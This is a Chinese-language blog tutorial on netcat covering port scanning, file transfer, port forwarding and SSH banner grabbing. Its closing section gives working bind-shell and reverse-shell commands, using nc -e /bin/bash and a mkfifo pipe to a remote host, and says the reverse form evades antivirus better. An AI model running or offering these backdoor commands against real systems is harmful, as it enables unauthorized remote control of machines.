精简的网络核武器——nc

精简的网络核武器——nc

nc(netcat)是个简单而且强大的网络命令工具。它精小的体积,简易的命令,却可以组合出多姿多态的功能,可以用于端口扫描,端口重定向,也可以用于连接远程做各种事情,甚至可以用于后门开启等。

其命令较为简单:

nc 命令选项 主机 端口
常用的参数:
-l  用作端口监听,而不是发送数据
-v  (Verbose)显示更多的详细信息
-p  指定源端口
-u  使用 UDP 协议传输
-k  在当前连接结束后保持继续监听
-n  不使用 DNS 解析
-z  不发送数据

详细可以使用 nc -h 查看。

那么它能用于干什么呢?下面列举一小部分例子来说明。

# 连接目标服务器端口

nc host port
host 可以为域名,也可为IP
如:nc 10.211.55.3 80

# 开启端口监听

nc -l port -v
如:nc -lv 10001

# 建立两机之间一个简单的命令行聊天

以A机器和B机器为例,假设B机器IP为10.211.55.3,在B开启nc 监听端口,A连接这个端口,就可建立简单的通讯渠道了

nc -l 10001          // B机器
nc 10.211.55.3 10001 // A机器

# 两机器之间传输文件

比如A 机器要发送文件1.txt 到B(如IP为10.211.55.3)机器,如果两机器没有很好的文件共享软件(如ftp 等),而一次性操作很可能不希望安装文件共享工具,可以如下操作:

 nc -l -p xxx > 1.txt       // B机器
 nc 10.211.55.3 xxx < 1.txt // A机器

# 端口扫描

比如扫描B(IP10.211.55.3)主机端口是否开放

 nc -vzn 10.211.55.3 1-65535

扫描时候我们一般只关注开放的端口,可以使用grep 筛选:

nc -vzn 10.211.55.3 1-65535 2>&1 | grep "succeeded"

# 揪出SSH服务端口

比如某些机器把ssh 端口修改为其他端口了,我们可以通过发送该机器所有打开的端口来测试,根据返回信息来判断。

echo "exit" | nc -v 10.211.55.3 22
'''
Connection to 10.211.55.3 port 22 [tcp/ssh] succeeded!
SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.13
Protocol mismatch.
'''

结合ssh 服务特点,我们就可以根据某端口返回信息来判断是否是ssh 服务了。

防范这个攻击手段的运维人员,就可能把SSH 端口修改为其他的,并且定制返回信息,同时通过伪造服务监听22 端口返回信息“类似ssh结果”信息来迷糊攻击者,从而增加攻击成本

# 端口转发

如果想把某端口数据转发到另外一个端口上,但是又不想使用过于复杂的环境,那么就可以借助nc就可以轻易做到。
这里需要借用命名管道,使用mkfifo创建一管道作为辅助。
比如我们想把8081端口数据转到80去:

mkfifo pipe_proxy
nc -l -p 8081 < pipe_proxy | nc 127.0.0.1 80 > pipe_proxy

pipe_proxy为命名管道名字,可以根据自己需求和想法命名。

# 开启后门

nc -l -p 10001 -e /bin/bash

上面这个命令是“被动型”连接,开启了监听端口并且等待连接,但这样使用可能存在两个弊端,一是容易被杀软识别,二是只能在局域网内利用。“主动性”后门就有更好的隐蔽性,命令如下:

nc -e /bin/bash x.x.x.x xxx

-e 参数 是在连接建立的时候执行一个程序,并把它的标准输入输出重定向到连接上来。

但因为e参数过于危险,很多版本已经去掉了这个参数,只有部分衍生版本保留着这个参数,所以这个用法很多系统就会受到限制。
然而,也可以借助管道来实现,实现如下:

// 1 被动型:
mkfifo pipe_bridge
nc -l -p 10001 < pipe_bridge | /bin/bash > pipe_bridge

// 2 主动型:
mkfifo pipe_bridge
nc 10.211.55.3 10001 < pipe_bridge | /bin/bash > pipe_bridge

细心的伙伴一定留意到了,这个用法和“端口转发“思路其实是一样的。

上述是整理的一些nc 应用的一小部分例子。nc 的强大,远不止此。nc 能做什么,是取决于使用者的思路。这样一个很原始的武器,加上一个科学的理论,便是个可怕的核武器了。

发表评论

电子邮件地址不会被公开。 必填项已用*标注